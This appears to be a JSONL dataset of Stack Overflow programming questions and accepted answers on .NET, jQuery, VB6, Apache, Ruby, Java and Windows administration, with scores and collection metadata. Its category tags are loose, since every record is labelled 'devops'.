{"id": "hf_0491605c8421", "question": "<p>What are the guidelines for when to create a new exception type instead of using one of the built-in exceptions in .Net?</p>\n\n<p>The problem that got me thinking is this. I have a WCF service, which is a basic input-output service. If the service is unable to create an output, because the input is invalid, I want to throw an exception, but which one?</p>\n\n<p>Right now I'm just throwing system.Exception, but this doesn't feel right to me, I don't know why, it just feels wrong. \nOne thing that bugs me, if I test it with a unit test and I expect the system.Exception to be thrown. The exception could as well be thrown by the framework or other code and not by the code I excepted to throw. The test would then pass, as I get the expected exception, but it should have failed.</p>\n\n<p>What do you recommend?</p>\n", "question_body": "", "answer": "Avoid throwing\n```\nSystem.Exception\n```\nor\n```\nSystem.ApplicationException\n```\nyourself, as they are too general.\nFor WCF services there are Fault Contracts - a generic exception that you can tell subscibers to handle.\nFlag the interface with:\n```\n```\n[FaultContract( typeof( LogInFault ) )]\nvoid LogIn( string userName, string password, bool auditLogin );\n```\n```\nThen if there is an exception you can throw this specific fault:\n```\n```\nthrow new FaultException<LogInFault>( new LogInFault(), \"message\" );\n```\n```\nUse the\n```\n[DataContract]\n```\nserialisation on your fault - this saves you from having to handle all the serialisation stuff exceptions normally require.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.371071"}
{"id": "hf_29d723bc1f51", "question": "<p>I am using the jQuery library to implement drag and drop. </p>\n\n<p>How do I get at the element that is being dragged when it is dropped?</p>\n\n<p>I want to get the id of the image inside the div. The following element is dragged:</p>\n\n<pre><code>&lt;div class=\"block\"&gt;\n    &lt;asp:Image ID=\"Image9\" AlternateText=\"10/12/2008 - Retina\" Width=81 Height=84 ImageUrl=\"~/uploads/ImageModifier/retina.jpg\" runat=server /&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I have the standard dropped function from their example:</p>\n\n<pre><code>$(\".drop\").droppable({\n                 accept: \".block\",\n                 activeClass: 'droppable-active',\n                 hoverClass: 'droppable-hover',\n                 drop: function(ev, ui) { }\n});\n</code></pre>\n\n<p>I have tried various <code>ui.id</code> etc. which doesn't seem to work.</p>\n", "question_body": "", "answer": "Is it not the ui.draggable?\nIf you go here (in Firefox and assuming you have firebug) and look in the firebug console youll see I am doing a console.dir of the ui.draggable object which is the div being dragged\nhttp://jsbin.com/ixizi\nTherefore the code you need in the drop function is\n```\n```\ndrop: function(ev, ui) {\n                 //to get the id\n                 //ui.draggable.attr('id') or ui.draggable.get(0).id or ui.draggable[0].id\n                 console.dir(ui.draggable)  \n       }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.395775"}
{"id": "hf_842c3bc36e30", "question": "<p>What is the best way to determine how many window handles an application is using?  Is there a tool or a WMI performance counter that I could use?</p>\n\n<p>I would like to run up an app and watch a counter of some sort and see that the number of window handles is increasing. </p>\n\n<pre><code>for (int i=0; i &lt; 1000; i++)\n{\n    System.Threading.Thread.Sleep(1000);\n    RichTextBox rt = new RichTextBox();\n    rt.Text = \"hi\";\n    this.Controls.Add(rt);\n}\n</code></pre>\n\n<p>I am running the above code and watching the \"Handle Count\" counter on the process, and it does not seem to be increasing.  Is there something I am looking at incorrectly?</p>\n", "question_body": "", "answer": "Perfmon, which comes with your computer can do it.  You can also add a column to your task manager processes tab (Handle Count).\nInstructions for Perfmon\nAdd a counter (click the +)\nChoose Process under Performance object\nChoose Handle Count under the counter list\nChoose your process from the instance list\nClick Add, click Close\nTo get the graph in range, you have to right-click it in the list, choose properties, and then choose the right scale (.1 or .01 would probably be right)\nEdit (in response to added information): I think you just proved that creating RichTextBoxes doesn't result in Handles being allocated. I don't think it really needs one until you are editing the control and it might be smart enough to do that, since allocating too many resources for a control that isn't active would make it hard to have a lot of controls on a form (think about Excel, for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.419809"}
{"id": "hf_648cacd0e08b", "question": "<p>I have inherited a load of VB6 code which has tons of individual OCX files, each of which contain a single control.  I have two questions:</p>\n\n<p>Firstly, Is it possible to refactor them so that I can have a single OCX file with all the OCX's in it?  </p>\n\n<p>Secondly, if it is possible, how do I do this?</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "Yes this is possible.\nYou can do this by selecting\nProject->Add User Control\nfrom within an existing ActiveX User Control project. From here you can choose to add a new control to the project or add an existing user control.\nAlso, it can certainly make sense to group related controls together into a single project, as long as you group controls according to some kind of logic. For example, the Forms 2.0 library groups \"commonly-used\" controls together (Textbox, Checkbox, Combobox, Label, etc.) into a single library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.467566"}
{"id": "hf_8a31c80f18f2", "question": "<p>As a follow up to <a href=\"https://stackoverflow.com/questions/186900/tool-for-web-server-redirect-management\">an earlier question</a> that attracted a whole zero answers, I'm wondering about the possibilities of allowing a web server (apache) to write to its own document root (Linux), in order to dynamically create meta-redirect files.</p>\n\n<p>Of course, this sounds incredibly dangerous, and I'm wary of going the whole hog and granting the web-server user full write-access to its own docroot. Is there a more appropriate way of achieving this?</p>\n", "question_body": "", "answer": "What's usually done is to allow writes only to subdirectories, hopefully located in a noexec mounted partition.\nThat said, it seems to me that you should just create a set of\nRewriteMap\ndirectives to do your dynamic redirection, there's no need to write files in the document root to accomplish that.\nI answered similarly in the\nother question\n, just for completeness.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.578470"}
{"id": "hf_641bf3bb9e82", "question": "<p>I'm working with embedded C for the first time. Although my C is rusty, I can read the code but I don't really have a grasp on why certain lines are the way the are. For example, I want to know if a variable is true or false and send it back to another application. Rather than setting the variable to 1 or 0, the original implementor chose 0xFF.</p>\n\n<p>Is he trying to set it to an address space? or else why set a boolean variable to be 255?</p>\n", "question_body": "", "answer": "```\n0xFF\n```\nsets all the bits in a char.\nThe original implementer probably decided that the standard\n```\n0\n```\nand\n```\n1\n```\nwasn't good enough and decided that if all bits\noff\nis\nfalse\nthen all bits\non\nis\ntrue\n.\nThat works because in C any value other than 0 is true.\nThough this will set all bytes in a char, it will also work for any other variable type, since any one bit being set in a variable makes it true.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.664212"}
{"id": "hf_6e860498f4a2", "question": "<p>I want to do some checking in a writer accessor. My first idea was returning a boolean.</p>\n\n<pre><code>class MyClass\n  def var=(var)\n    @var = var\n    # some checking\n    return true\n  end\nend\n\nm = MyClass.new\nretval = (m.var = 'foo')\n\n=&gt; \"foo\"\n</code></pre>\n\n<p>Can I set a return value in a writer accessor? If yes, how can I get this value?</p>\n", "question_body": "", "answer": "I would use set_var(var) instead of what you are trying to do, an attribute writer is assumed to just work. What you are trying to do is nonstandard and non-obvious to the next poor person to use your code. (It may just be yourself) I would throw an exception if bad input is sent or something rather exceptional happens.\nYou want this behavior\n```\n```\nCorrect\n>>temp = object.var = 7\n=> 7 \n\nWrong\n>>temp = object.var = 7\n=> false\n```\n```\nThe = operator should always return the value that was passed to it. Ruby uses implicit returns which is uncommon in programming languages. Double check the returns when you use\n```\nmethod=()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.695222"}
{"id": "hf_86ecf83dbf64", "question": "<p>I'd like to use Rich Text Editing in place on forms in order to let admins change instructions.   What are the best options for doing this?</p>\n\n<p>[To be more clear - the admins are non-technical but may want to control some formatting without using markup or with as little markup as possible.  What I'd like is for them to be able to edit inline all AJAXy with an RTE featuring some formatting controls and then submit and be able to see what the instructions will look like to the end user without changing pages.</p>\n\n<p>With Regards to plugins specifically, what I'd like to know is which Rich Test Editing plugins are the best for use in Rails.  Easiest to implement, clearest API, easiest to use inline, etc... ]  </p>\n", "question_body": "", "answer": "I'm not sure if I fully understand the question, but if you just ask about which editor to use, there are many options and none of them is a matter of Rails - you can use any of them just by adding a little piece of javascript into your markup. Nice and up to date overview can be found here:\nhttp://bulletproofbox.com/web-based-rich-text-editors-compared/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.731725"}
{"id": "hf_f9ee35a1f93b", "question": "<pre><code>echo \"&lt;td&gt;&lt;a href='delete.php?id=$row[id]&amp;&amp;category=$a' onclick='return confirm(\\'are you sure you wish to delete this record\\');'&gt;delete&lt;/a&gt;&lt;/td&gt;\";\n</code></pre>\n\n<p>Above is the code I am trying to use. Every time it does nothing and I cannot see how I can use 'proper' JavaScript methods. What is the reason?</p>\n", "question_body": "", "answer": "```\n```\necho \"<td><a href='delete.php?id=$row[id]&&category=$a' onclick='return confirm(&quot;are you sure you wish to delete this record&quot;);'>delete</a></td>\";\n```\n```\nUse Firefox's HTML syntax highlighting to your advantage. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.756261"}
{"id": "hf_86d669de42c6", "question": "<p>I am importing the CreateICeeFileGen() function from the unmanaged DLL mscorpe.dll in a C# application, in order to  generate a PE file. This function returns a pointer to an C++ object <a href=\"http://msdn.microsoft.com/en-us/library/ms404463.aspx\" rel=\"nofollow noreferrer\">defined here</a>, is there any way I can access fields from this class via C# or do I need to write an unmanaged wrapper DLL?</p>\n\n<p>The code I'm using currently is as follows:-</p>\n\n<pre><code>[DllImport(@\"C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorpe.dll\", EntryPoint = \"CreateICeeFileGen\")]\nstatic extern void CreateICeeFileGen(out IntPtr iceeFileGenPointer);\n...\nIntPtr filePtr;\nCreateICeeFileGen(out filePtr);    \n</code></pre>\n\n<p><strong>N.B.</strong>: I know you can do similar things with .net libraries but I need to use unmanaged libraries for my purposes.</p>\n", "question_body": "", "answer": "You need a wrapper library to be able to use the class from C#.\nThe best bet would be to create the wrapper using C++/CLI, which can directly call the unmanaged function and expose the details with a managed class.  This will eliminate the need to use P/Invoke for anything.\n(Well, technically if you know the class layout you could mess around with pointer arithmetic to access the fields, but this would be very fragile and messy, and trying to call virtual functions in this way would be extremely ugly).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.792789"}
{"id": "hf_a447aee6c27b", "question": "<p>Looking for a c# library that interfaces to multiple merchant gateways.\nShould at minimum be able to handle PayPal and authorize.</p>\n", "question_body": "", "answer": "Considering that working with the gateways themselves is extremely simple, Adding support to your application for each one shouldn't be difficult.\nThat said, here is one that claims to have the support you want:\nhttp://www.componentsource.com/products/ibiz-e-payment-integrator-net/index.html\nNote that Payflow link and payflow pro were purchased by PayPal from verisign.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.853089"}
{"id": "hf_dc1784ad7752", "question": "<p>I want to create a new row in my database on a table that has a couple of foreign key relationships and I haven't been able to get a handle on what order and what calls need to be made. This is what I have so far:</p>\n\n<pre><code>db.Models.Order order = DB.Models.Order.CreateOrder( apple );\norder.CustomerReference.Attach( ( from c in db.Customer where c.Id == custId select c ).First() );\ndb.SaveChanges();\n</code></pre>\n\n<p>The code is failing on the second line there, saying: </p>\n\n<blockquote>\n  <p>Attach is not a valid operation when\n  the source object associated with this\n  related end is in an added, deleted,\n  or detached state. Objects loaded\n  using the NoTracking merge option are\n  always detached.</p>\n</blockquote>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "(Thanks John for the grammar fixes)\nSo I figured it out. This is what you have to do:\n```\n```\ndb.Models.Order order = DB.Models.Order.CreateOrder( apple );\norder.Customer = (from c in db.Customer where c.Id == custId select c).First();\ndb.SaveChanges();\n```\n```\nI hope that helps people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.876757"}
{"id": "hf_5d52ef3da8dc", "question": "<p>Anyone know a simple method to swap the background color of a webpage using JavaScript?</p>\n", "question_body": "", "answer": "Modify the JavaScript property\n```\ndocument.body.style.background\n```\n.\nFor example:\n```\n```\nfunction changeBackground(color) {\n   document.body.style.background = color;\n}\n\nwindow.addEventListener(\"load\",function() { changeBackground('red') });\n```\n```\nNote: this does depend a bit on how your page is put together, for example if you're using a DIV container with a different background colour you will need to modify the background colour of that instead of the document body.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.900697"}
{"id": "hf_93e1d9e5f7ca", "question": "<p>I have a bunch of XML that has lines that look like this</p>\n\n<pre><code>&lt;_char font_name=\"/ITC Stone Serif Std Bold\" italic=\"true\" /&gt;\n</code></pre>\n\n<p>but sometimes look like this</p>\n\n<pre><code>&lt;_char font_size=\"88175\" italic=\"true\" font_name=\"/ITC Stone Serif Std Bold\" /&gt;\n</code></pre>\n\n<p>Here's what I need to do</p>\n\n<ul>\n<li>Replace <strong>italic=\"true\"</strong> with <strong>italic=\"false</strong> for every line that contains <strong>ITC Stone Serif Std Bold</strong>, regardless of whether it comes before OR after the <strong>italic</strong> part.</li>\n</ul>\n\n<p>Can this be done with a single regex?</p>\n\n<p>I'm not looking for a real-time solution.  I just have a ton of XML files that have this \"mistake\" in them and I'm trying to do a global search-and-replace with PowerGrep which would require a single regex.  If scripting's the only way to do it, then so be it.</p>\n", "question_body": "", "answer": "Well, in general, using RE for XML parsing isn't a great idea.  But if you really wanted, the easiest way would be to just do it in two lines:\n```\n```\nif (/ITC Stone Serif Std Bold/) {\n   s/italic=\"true\"/italic=\"false\"/g;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.951328"}
{"id": "hf_8c28af95ce5f", "question": "<p>I have an excel file which has more than 65536 rows. However, I can see only first 65536 of them. Is it possible to see all of them in Excel 2007?</p>\n", "question_body": "", "answer": "According to\nthis MSDN entry\n, the limit is 1 million rows.  You could be running in compatibility mode, which would limit you to the old standard of 65k.  Does your excel say compatibility mode in the title?  If so, you can save the file as a new style file under the \"save as\" menu, or change your default to always use the 2007 file standard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.987298"}
{"id": "hf_902a2bd9191e", "question": "<p>I am trying to open a report in Crystal Report 11 Designer (product version 11.5.8.826), but it seems to freeze up. This report use to work fine, but today the client could not load the report.</p>\n\n<p>I also tried to open the report on another developer's workstation, with the same result.</p>\n\n<p>Has this happened to anyone else?</p>\n", "question_body": "", "answer": "Are you sure all servers referenced in the report are still online? If you've changed database connections on the report, I've seen Crystal store a reference to the old one even when there are no active usages. If the old server is offline, Crystal still tries to connect to it when loading and will hang for a long time. We had a report that used to load in seconds start taking minutes right after an old test server was powered down. Powered it back up, it loaded instantly again, even though all the connections to it were seeming removed. We wound up totally rebuilding the report from scratch.\nI found it using Sysinternals TDIMon, it showed connection attempts and timeouts coming from Crystal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.026563"}
{"id": "hf_ac715f6fbe0a", "question": "<p>I am putting together a SVN demonstration using a WinXP Virtual PC image, and am unable to see my host machine from within the VPC guest OS.</p>\n\n<p>This demo will be performed while disconnected from our LAN, so I installed the Microsoft Loopback adapter on my laptop.  In the TCP/IP settings I manually set the IP address to 192.168.3.1 to avoid conflicts with our internal network.  In the VPC image settings I set the Network Type to Microsoft Loopback Adapter and set the IP address to 192.168.3.2.</p>\n\n<p>I cannot ping my host machine from the guest OS and vice versa.  I've followed through several different how-to pages on this subject but still cannot determine why this isn't working.  What am I missing here?</p>\n", "question_body": "", "answer": "So your host machine's loopback is set to 192.168.3.1 (subnet 255.255.255.0, gateway 192.168.3.1) and your VM's network adapter is set to 192.168.3.2 (subnet 255.255.255.0, gateway 192.168.3.1)?  They should be able to see each other, there's not much else to this setup.\nI'd shake things up:\nInstall the VM additions, maybe the network driver that comes with the guest OS isn't cutting it.\nTry a different subnet, maybe 192.168.22.1.\nDisable your host machine's other network adapters for a bit, maybe packets are getting routed elsewhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.062556"}
{"id": "hf_ed4857d9586b", "question": "<p>I'm currently experiencing an intermediate problem with some inherited client side javascript. Every so often the users' experience a browser hang with the cursor becoming an egg timer and then the browser failing to respond. </p>\n\n<p>I'm having real difficulty in determining where the issue is arising from. Short of disabling large chunks of javascript at a time is there any way to detect a hang in internet explorer and then examine the stack trace to determine the last few functions called in order to localise the problem?</p>\n\n<p>Any help with this would be really appreciated. </p>\n", "question_body": "", "answer": "Update\n: You can use\nWeb Development Helper\nor\nIE Dev Toolbar\nto trace your Javascript calls.\nFiddler\nis also a powerful web debugging proxy.\nIf you want to eliminate the IE part of the problem, disable all unnecessary addons loaded in Internet Explorer first. I had a big problem with skype addons.\nIf you want to do low level monitoring, you have to use tools like Process Explorer and Process Monitor. They have functionalities to show the stack trace, your trace of files and registries being accessed etc from your IE.\nFor javascript profiling, you can use a tool like\nfirebug\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.148841"}
{"id": "hf_733328ebbe08", "question": "<p>I start a .Net server side program on my local workstation, but soon it throws a security exception. I searched the web for answers, but no quick fix was found / worked. I just want to run my program. How do I get rid of the exception? I fully trust the program, because its mine.</p>\n\n<p>Edit: Oh, yes, I do run the program from a mapped folder that is mapped to my own local drive for the sake of clarity of folder structures. Thanks for the answers, I try tomorrow to run it directly from my drive.</p>\n\n<p>Edit: When I use directly my drive, it works.</p>\n", "question_body": "", "answer": ".NET 3.5 SP1 has better support for running applications on the local intranet.\nIf you can't target 3.5 SP1, you can map the share you're running the application from to a local drive and\nuse CasPol to set that mapped drive to a fully trusted location.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.198476"}
{"id": "hf_d5b2f6d3ab36", "question": "<p>I have 2 columns in a Grid.  When I click a button, I want the first column to animate to the left from it's current position to 0.  So, in effect, it collapses and I'm left with just viewing a single column.</p>\n", "question_body": "", "answer": "Shouldn't be too hard.  You'd need to create an EventTrigger that has a BeginStoryboard that targets the grid and uses a DoubleAnimation to shrink the column width.\nThe example here has a similar setup.\nThe EventTrigger would go on the button and the DoubleAnimation's\nStoryBoard.Target\nwould point to the ColumnDefinition you wish to shrink.\nOkay, so that doesn't work so well.  You can't shrink the column directly, but you CAN set the shrinking column to fill (width=\"*\"), set the width of the Grid and the non-shrinking column, and then shrink the entire grid.  This does work.  The below example works:\n```\n```\n<Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n      xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n      WindowTitle=\"Opacity Animation Example\" \n      Background=\"White\">\n   <StackPanel Margin=\"20\">\n      <Grid Name=\"MyGrid\" Width=\"200\" HorizontalAlignment=\"Left\">\n         <Grid.RowDefinitions>\n            <RowDefinition Height=\"100\"/>\n         </Grid.RowDefinitions>\n         <Grid.ColumnDefinitions>\n            <ColumnDefinition Width=\"*\"/>\n            <ColumnDefinition Width=\"100\"/>\n         </Grid.ColumnDefinitions>\n         <Rectangle HorizontalAlignment=\"Stretch\"  \n                    VerticalAlignment=\"Stretch\" \n                    Grid.Column=\"0\" Fill=\"Red\"/>\n         <Rectangle HorizontalAlignment=\"Stretch\"  \n                    VerticalAlignment=\"Stretch\" \n                    Grid.Column=\"1\" Fill=\"Blue\"/>\n      </Grid>\n\n      <Button Name=\"hideButton\">\n         <Button.Triggers>\n            <EventTrigger RoutedEvent=\"Button.Click\">\n               <BeginStoryboard>\n                  <Storyboard>\n                     <DoubleAnimation \n                         Storyboard.TargetName=\"MyGrid\"\n                         Storyboard.TargetProperty=\"(Grid.Width)\" \n                         From=\"200\" To=\"100\" \n                         Duration=\"0:0:2\" \n                         AutoReverse=\"True\"  /> \n                  </Storyboard>\n               </BeginStoryboard>\n            </EventTrigger>\n         </Button.Triggers>\n      </Button>\n   </StackPanel>\n</Page>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.295855"}
{"id": "hf_15c9ebb6e029", "question": "<p>OK, so instead of writing a whole bunch of access control specs, and duplicating them across many of my spec files, I'm looking to create a custom matcher. So instead of this:</p>\n\n<pre><code>describe \"access control\" do\n  it \"should prevent access by non-logged-in users\"\n  it \"should prevent access by normal users\"\n  it \"should prevent access by editor users\"\n  it \"should prevent access by admin users\"\n  it \"should allow access by super admin users\"\nend\n</code></pre>\n\n<p>I want do something like this:</p>\n\n<pre><code>lambda do\n  get :index\nend.should have_access_control(:allowed =&gt; [:super_admin], :disallowed =&gt; [:admin, :editor, :user])\n</code></pre>\n\n<p>Are there any examples or suggestions of how I can go about doing something like this?</p>\n", "question_body": "", "answer": "OK,\nI have found a method of achieving this\n, though it doesn't use a custom matcher. Include the following code in your spec_helper.rb:\n```\n```\ndef access_control (code, options={})\n  options = {:allow => [], :disallow => []}.merge(options)\n\n  options[:allow].each do |user|\n    it \"#{code} should allow #{user.to_s}\" do\n      login_as(user)\n      eval code\n      response.should_not redirect_to(login_path)\n    end\n  end\n\n  options[:disallow].each do |user|\n    it \"#{code} should disallow #{user.to_s}\" do\n      login_as(user)\n      eval code\n      response.should redirect_to(login_path)\n    end\n  end\nend\n```\n```\nAnd call it as follows:\n```\n```\naccess_control(\"get :index\", {:allow => [:super_admin], :disallow => [:quentin, :admin]})\n```\n```\nYou can then use it to build up a complete list of methods that should be restricted, and the users to which they are restricted to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.332456"}
{"id": "hf_fb2b76cca723", "question": "<p>How do I uninstall a .NET Windows Service if the service files do not exist anymore?</p>\n<p>I installed a .NET Windows Service using InstallUtil. I have since deleted the files but forgot to run</p>\n<pre><code> InstallUtil /u\n</code></pre>\n<p>first, so the service is still listed in the Services MMC.</p>\n<p>Do I have to go into the registry? Or is there a better way?</p>\n", "question_body": "", "answer": "From the command prompt, use the Windows \"sc.exe\" utility.  You will run something like this:\n```\n```\nsc delete <service-name>\n```\n```\nIf the service name has one or more spaces, surround the name in double quotes (h/t @geoffc):\n```\n```\nsc delete \"<service-name>\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.366257"}
{"id": "hf_7766b1d5ef09", "question": "<p>A curious thing happens in Java when you use an abstract class to implement an interface: some of the interface's methods can be completely missing (i.e. neither an abstract declaration or an actual implementation is present), but the compiler does not complain.</p>\n\n<p>For example, given the interface:</p>\n\n<pre><code>public interface IAnything {\n  void m1();\n  void m2();\n  void m3();\n}\n</code></pre>\n\n<p>the following abstract class gets merrily compiled without a warning or an error:</p>\n\n<pre><code>public abstract class AbstractThing implements IAnything {\n  public void m1() {}\n  public void m3() {}\n}\n</code></pre>\n\n<p>Can you explain why?</p>\n", "question_body": "", "answer": "That's because if a class is abstract, then by definition you are required to create subclasses of it to instantiate.  The subclasses will be required (by the compiler) to implement any interface methods that the abstract class left out.\nFollowing your example code, try making a subclass of\n```\nAbstractThing\n```\nwithout implementing the\n```\nm2\n```\nmethod and see what errors the compiler gives you.  It will force you to implement this method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.400187"}
{"id": "hf_40faf876b374", "question": "<p>Ideally, something cross-platform.</p>\n", "question_body": "", "answer": "The CPAN is probably the best way to go.  Take a look at\nTerm::Screen:Uni\n:\n```\n```\nrequire Term::Screen::Uni;\nmy $scr = new Term::Screen::Uni;\n\n$scr->clrscr()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.460687"}
{"id": "hf_4a5b3baf42c2", "question": "<p>I'm trying to write a Windows cmd script to perform several tasks in series.\nHowever, it always stops after the first command in the script.</p>\n\n<p>The command it stops after is a maven build (not sure if that's relevant).</p>\n\n<p>How do I make it carry on and run each task in turn please?</p>\n\n<p>Installing any software or configuring the registry etc is completely out of the question - it has to work on a vanilla Windows XP installation I'm afraid.</p>\n\n<p>Ideally I'd like the script to abort if any of the commands failed, but that's a \"nice to have\", not essential.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "When you call another .bat file, I think you need \"call\" in front of the call:\n```\n```\ncall otherCommand.bat\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.579590"}
{"id": "hf_6eeb363ff974", "question": "<p>For example:</p>\n\n<pre><code>javac Foo.java\nNote: Foo.java uses unchecked or unsafe operations.\nNote: Recompile with -Xlint:unchecked for details.\n</code></pre>\n", "question_body": "", "answer": "This comes up in Java 5 and later if you're using collections without type specifiers (e.g.,\n```\nArraylist()\n```\ninstead of\n```\nArrayList<String>()\n```\n).  It means that the compiler can't check that you're using the collection in a type-safe way, using\ngenerics\n.\nTo get rid of the warning, you need to be specific about what type of objects you're storing in the collection.  So, instead of\n```\n```\nList myList = new ArrayList();\n```\n```\nuse\n```\n```\nList<String> myList = new ArrayList<String>();\n```\n```\nIn Java 7 you can shorten generic instantiation by using\nType Inference\n.\n```\n```\nList<String> myList = new ArrayList<>();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.614161"}
